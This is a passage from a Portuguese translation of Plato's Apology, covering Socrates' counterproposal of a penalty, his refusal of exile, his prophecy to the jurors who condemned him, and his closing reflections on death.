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    De Meleto, ao contrário, estou livre, me parece
ainda, e isso é evidente a todos: se Anito e Licon não viessem aqui me acusar,
Meleto teria sido multado em mil dracmas, [36 b] não tendo obtido o quinto dos votos.

XXIV

    Eles pedem, pois, para mim, a pena de morte.
Pois bem, atenienses, que contraproposta vos farei eu? A que mereço, não é
assim? Qual, pois? Que pena ou multa mereço eu, que em toda a vida não repousei
um momento, mas descuidando daquilo que todos tem em grande conta, a aquisição
de riquezas e a administração doméstica, e os comandos militares, e as altas
magistraturas, e as conspirações, e os partidos que surgem na cidade,
conservei-me na [36 c] realidade de ânimo bastante brando para que pudesse, fugindo de
tais intrigas, me livrar delas, não indo aonde a minha presença não fosse de
nenhuma vantagem nem para vós nem para mim mesmo? Voltava-me, ao contrário,
para os lados aonde eu poderia levar, a cada um em particular, os maiores
benefícios, procurando persuadir cada um de vós a não se preocupar
demasiadamente com suas próprias coisas, antes que de si mesmo, para se tornar
quanto mais honesto fosse possível; a não cuidar dos negócios da cidade antes
que da própria cidade, e preocupar-se, assim, do mesmo modo, com outras coisas.
De que sou digno eu, [36 d]tendo sido assim procedido? De um bem, cidadãos
atenienses, se devo fazer uma proposta conforme o mérito; e um bem tal que me
possa convir. E, que convém a um pobre benemérito que tem necessidade de estar
em paz, para vos exortar ao caminho reto? Não há coisa que melhor convenha,
cidadãos atenienses, que nutrir um tal homem  a expensas do estado, no
Pritaneu; merece-o bem mais que um de vós que tenha sido vencedor nos Jogos olímpicos,
na corrida de cavalos, de bigas ou quadrigas! [36 e] Esse homem, porém, faça com que o
sejais; ele, homem rico, não tem necessidade de que se cuide de sua
subsistência, mas eu tenho necessidade. Portanto, se devo fazer uma proposta
segundo a justiça, eis o que indico para mim: ser, a expensas do Estado,
[37 a] nutrido no Pritaneu.

XXV

    Ao contrário, talvez vos pareça que eu, ainda
falando disso, o faça com arrogância, pouco mais ou menos como quando falava da
consideração e dos rogos; mas não é assim, cidadãos atenienses, antes é deste
modo: estou persuadido de que não ofendo ninguém por minha vontade, mas não vos
posso persuadir também disto, porque o tempo em que estamos raciocinando juntos
é brevíssimo; e eu creio que, se as vossas leis, como as de outros povos, não
decidissem um juízo capital em um dia, [37 b] mas em muitos, vos persuadiria: ora, não
é fácil, em pouco tempo, destruir grandes calúnias.

    Estando, pois, convencido de não ter feito
injustiça a ninguém, estou bem longe de fazê-la, a mim mesmo e dizer, em meu
dano, que mereço um mal, e me assinalar um de tal sorte. Que devo temer? É
possível que eu não tenha  de sofrer a pena que me assinala Meleto e que
eu digo ignorar se será um bem ou mal? E, ao contrário disso, deverei escolher
uma daquelas [37 c] que sei bem ser um mal, e propor-me essa pena? O cárcere? E por
que devo viver no cárcere, escravo do magistrado que o preside, escravo dos
Onze. Ou uma multa, ficando amarrado, quanto não acabe de paga-la?  Seria,
pois, o exílio que deveria propor como pena para mim? É possível que vós me
indiquei essa pena. Ah! eu teria verdadeiramente um amor excessivo à vida se
fosse irrefletido a ponto de não ser capaz de refletir nisso: vós que sois meus
concidadãos acabastes por não achar meios de suportar meus sermões; estes se
tornaram para vós um fardo bastante pesado e detestável [37 d] para que procurei hoje
livrar-vos, serão os meus sermões mais fáceis de suportar para os outros? Muito
longe disso, atenienses!

    Bela vida, em verdade, seria a minha, nesta
idade, viver fora da pátria, passando de uma cidade a outra, expulso em
degredo.

    Sei bem que onde quer que eu vá, os jovens
ouvirão os meus discursos como aqui: se eu os repelir, eles mesmos me mandarão embora,
convencendo os velhos a fazê-lo; e se não os repelir [37 e] , os seus pais e parentes
me mandarão embora igualmente, com qualquer pretexto.

XXVI

    Ora, é possível que alguém pergunte: –
Sócrates, não poderias tu viver longe da pátria, calado e em paz? Eis
justamente o que é mais difícil fazer aceitar a alguns dentre vós: se digo que
seria desobedecer ao deus e que, por essa razão, eu não poderia ficar
tranqüilo, não me acreditaríeis, supondo que tal afirmação é, de minha parte,
uma fingida candura. [38 a] Se, ao contrário, digo que o maior bem para um homem é
justamente este, falar todos os dias sobre a virtude e os outros argumentos
sobre os quais me ouvistes raciocinar, examinando a mim mesmo e aos outros, e,
que uma vida sem esse exame não é digna de ser vivida, ainda menos me
acreditaríeis, ouvindo-me dizer tais coisas. Entretanto, é assim, como digo, ó
cidadãos, mas não é fácil torná-lo persuasivo.

    E, por outro lado, não estou habituado a
acreditar-me digno de nenhum mal. De fato, se tivesse dinheiro, [38 b] me multaria em
uma soma que pudesse pagar, porque não teria prejuízo algum; mas o fato é que
não tenho. Só se quiserdes multar-me em tanto quanto eu possa pagar. Talvez eu
vos pudesse pagar uma mina de prata; multo-me, pois em tanto. Mas Platão,
cidadãos atenienses, Críton, Cristóbolo e Apolodoro me obrigam a multar-me em
trinta minas, e oferecem fiança: multo-me, pois, em tanto, e eles vos serão
fiadores dignos de crédito.

Terceira Parte – Sócrates se despede do tribunal

XXVII

   [38 c] Por não terdes querido esperar um pouco mais de
tempo, atenienses, ireis obter, da parte dos que desejam lançar o opróbrio
sobre a nosso cidade, a fama e a acusação de haverdes sido os assassinos de um
sábio, de Sócrates. Porque, quem vos quiser desaprovar me chamará, sem dúvida,
de sábio, embora eu não o seja. Pois bem, tivésseis esperado um pouco de tempo,
a coisa seria resolvida por si: vós vedes, de fato, a minha idade. [38 d] E digo isso
não a vós todos, mas àqueles que me condenaram à morte. Digo, além disto, mais
o seguinte a esses mesmos: É possível que tenhais acreditado, ó cidadãos, que
eu tenha sido condenado por pobreza de raciocínio, com os quais eu poderia vos
persuadir, se eu tivesse acreditado que era preciso dizer a fazer tudo, para
evitar a condenação. Mas não é assim. Cai por falta, não de raciocínios, mas de
audácia e imprudência, e não por querer dizer-vos coisas tais que vos teria
sido gratíssimas de ouvir, choramingando, [38 e] lamentando e fazendo e dizendo muitas
outras coisas indignas, as quais, certo, estais habituados a ouvir de outros.

    Mas, nem mesmo agora, na hora do perigo, eu
faria nada de inconveniente, nem mesmo agora me arrependo de me ter defendido
como o fiz, antes prefiro mesmo morrer, tendo-me defendido desse modo, a viver
daquele outro.

    Nem nos tribunais, nem no campo, nem a mim, nem
a ninguém convém tentar todos os meios para fugir à morte. Até mesmo nas
batalhas, de fato, é bastante evidente [39 a] que se poderia evitar morrer, jogando
fora as armas e suplicando aos que perseguem: e muitos outros meios há, nos
perigos individuais, para evitar a morte se ousa dizer e fazer alguma coisa.

    Mas, ó cidadãos, talvez o difícil não seja
isso: fugir da morte. Bem mais difícil é fugir da maldade, que corre [39 b] mais veloz
que  a morte. E agora eu, preguiçoso como sou e velho, fui apanhado pela
mais lenta, enquanto os meus acusadores, válidos e leves, foram apanhados pela
mais veloz: a maldade.

    Assim, eu me vejo condenado à morte por vós,
condenados de verdade, criminosos de improbidade e de injustiça. Eu estou
dentro da minha pena, vós dentro da vossa.

    E, talvez, essas coisas devessem acontecer
mesmo assim. E creio que cada qual foi tratado adequadamente.

XVIII

    [39 c]Agora, pois, quero vaticinar-vos o que se seguirá,
ó vós que me condenastes, porque já estou no ponto em que os homens
especialmente vaticinam, quando estão para morrer. Digo-vos, de fato, ó
cidadãos que me condenaram, que logo depois da minha morte virá uma vingança
muito mais severa, por Zeus, do que aquela pela qual me tendes sacrificado.
Fizestes isto acreditando subtrair-vos ao aborrecimento de terdes de dar conta
da vossa vida, [39 d] mas eu vos asseguro que tudo sairá ao contrário.

    Em maior número serão os vossos censores, que
eu até agora contive, e vós reparastes. E tanto mais vos atacarão quanto mais
jovens forem e disso tereis maiores aborrecimentos.

    Se acreditais, matando os homens, entreter
alguns dos vossos críticos, não pensais justo; esse modo de vos livrardes não é
decerto eficaz nem belo, mas belíssimo e facílimo é não contrariar os outros,
mas aplicar-se a se tornar, quanto se puder, melhor. Faço, pois, este vaticínio
a vós que me condenastes. Chego ao fim.

XIX

  [39 e]  Quanto àqueles cujos votos me absolveram, eu
teria prazer de conversar com eles a respeito deste caso que acaba de ocorrer
enquanto os magistrados estão ocupados, enquanto não chega o momento de ter de
ir ao lugar onde terei de morrer. Ficai, pois, comigo este pouco de tempo, ó
cidadãos, porque nada nos impede de conversarmos horas juntos, enquanto de
pode. É que a vós, como meus amigos, quero mostrar, que não desejo falar do meu
caso presente. [40 a] A mim, de fato, ó juízes – uma vez que, chamando-vos juízes vos
dou o nome que vos convém – aconteceu qualquer coisa de maravilhoso. Aquela
minha voz habitual do demônio (daimon, gênio) em todos os tempos passados me
era sempre freqüente e se oponha ainda mais nos pequeninos casos, cada vez que
fosse para fazer alguma coisa que não estivesse muito bem. Ora, aconteceram-me
estas coisas, que vós mesmos estais vendo e que, decerto, alguns julgariam e
considerariam o extremo dos males; pois bem, o sinal do deus não se me opôs,
nem esta manhã, ao sair de [40 b] casa, nem quando vim aqui, ao tribunal, nem durante
todo o discurso. Em todo este processo, não se opôs uma só vez, nem a um ato,
nem a palavra alguma.

    Qual suponho que seja a causa? Eu vo-la direi:
em verdade este meu caso arrisca ser um bem, e estamos longe de julgar
retamente, quando pensamos que a morte é um mal. E disso tenho uma grande
prova: [40 c] que, por muito menos, o habitual signo, o meu demônio, se me teria
oposto, se não fosse para fazer alguma coisa de bm.

    Passemos a considerar a questão em si mesma, de
como há grande esperança de que isso seja um bem.

    Porque morrer é uma ou outra destas duas
coisas: ou o morto não tem absolutamente nenhuma existência, nenhuma
consciência do que quer que seja, ou, como se diz,   a morte é
precisamente uma mudança de existência e, para a alma, uma migração deste lugar
para um outro. Se, de fato, não há sensação alguma, mas é como um sono, [40 d] a morte
seria um maravilhoso presente. Creio que, se alguém escolhesse a noite na qual
tivesse dormido sem ter nenhum sonho, e comparasse essa noite às outras noites
e dias de sua vida e tivesse de dizer quantos dias e noites na sua vida havia
vivido melhor, e mais docemente do que naquela noite, creio que não somente
qualquer indivíduo [40 e] mas até um grande rei acharia fácil escolher a esse
respeito, lamentando todos os outros dias e noites. Assim, se a morte é isso,
eu por mim a considero um presente, porquanto, desse modo, todo o tempo se
resume a uma única noite.

    Se, ao contrário, a morte é como uma passagem
deste para outro lugar, e, se é verdade o que se diz que lá se encontram todos
os mortos, qual o bem que poderia existir, ó juízes, maior do que este? [41 a] Porque,
se chegarmos ao Hades, libertando-nos destes que se vangloriam serem juízes,
havemos de encontrar os verdadeiros juízes, os quais nos diria que fazem
justiça acolá: Monos e Radamante, Éaco e Triptolemo, e tantos outros deuses e
semideuses que foram justos na vida; seria então essa viagem uma viagem de se
fazer pouco caso? Que preço não serieis capazes de pagar, para conversar com
Orfeu, Museu, Hesíodo e Homero?

    Quero morrer muitas vezes, se isso é verdade, [41 b]
pois para mim especialmente a conversação acolá seria maravilhosa, quando eu
encontrasse Palamedes e Ajax Telamônio e qualquer um dos antigos mortos por
injusto julgamento. E não seria sem deleite, me parece, confrontar o meu com os
seus casos, e, o que é melhor, passar o tempo examinando e confrontando os de
lá com cá, os últimos dos quis tem a pretensão de conhecer a sabedoria dos
outros, e acreditam ser sábios e não são. A que preço, ó juízes, não se
consentiria em examinar aquele que  guiou o grande [41 c] exército a Tróia,
Ulisses, Sísifo, ou infinitos outros? Isso constituiriam inefável felicidade.

    Com certeza aqueles de lá mandam a morte por
isso, porque além do mais, são mais felizes do que os de cá, mesmo porque são
imortais, se é que o que se diz é verdade.

XXX

    Mas também vós, ó juízes, deveis ter boa
esperança em relação à morte, e considerar esta única verdade: que não é
possível haver algum mal [41 d] para um homem de bem, nem durante sua vida, nem depois
da morte, que os deuses não se interessam do que a ele concerne; e que, por
isso mesmo, o que hoje aconteceu, no que a mim concerne, não é devido ao acaso,
mas é a prova de que para mim era melhor morrer agora e ser libertado das
coisas deste mundo. Eis também a razão por que a divina voz não me dissuadiu, e
por que, de minha parte, não estou zangado com aqueles cujos votos me
condenaram, nem contra meus acusadores.

    Não foi com esse pensamento, entretanto, que
eles votaram contra mim, que me acusaram, pois acreditavam causar-me um mal.
Por isto  é justo que sejam censurados. [41 e] Mas tudo o que lhes peço é o
seguinte: Quando os meus filhinhos ficarem adultos, puni-os, ó cidadãos,
atormentai-os do mesmo modo que eu os vos atormentei, quando vos parecer que
eles cuidam mais das riquezas ou de outras coisas do que da virtude. E, se
acreditarem ser qualquer coisa não sendo nada, reprovai-os, como eu a vós: não
vos preocupeis com aquilo que não lhes é devido.

    E, se fizerdes isso, terei de vós o que é
justo, eu e os meus filhos. [42 a]

    Mas, já é hora de irmos: eu para a morte, e vós
para viverdes. Mas, quem vai para melhor sorte, isso é segredo, exceto para
deus.
 



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